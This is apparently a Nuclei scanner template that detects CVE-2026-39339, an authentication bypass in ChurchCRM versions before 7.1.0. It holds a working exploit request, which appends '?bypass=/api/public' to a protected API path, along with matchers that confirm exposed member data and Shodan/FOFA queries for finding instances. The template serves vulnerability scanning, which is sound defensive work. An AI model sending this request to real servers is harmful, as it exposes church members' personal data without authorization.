id: CVE-2026-39339

info:
  name: ChurchCRM - API Authentication Bypass via URL Injection
  author: akhilshekhar
  severity: critical
  description: |
    ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
  impact: |
    Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
  remediation: |
    Update to version 7.1.0 or later.
  reference:
    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-39339
    epss-score: 0.19066
    epss-percentile: 0.95426
    cwe-id: CWE-284
    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: churchcrm
    product: churchcrm
    shodan-query: http.title:"churchcrm"
    fofa-query: app="churchcrm"
  tags: cve,cve2026,churchcrm,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/persons/latest?bypass=/api/public"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PersonId"
          - "FormattedName"
          - "\"people\""
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c9a44e688ddf47a23c899825de9a1312fba00828c560d7a6cae1d6e7358fb8570221008d02afe5ac009bcd176f3c40fae5c28669c8fdcd44347eea26a433b097ae52e9:922c64590222798bb761d5b6d8e72950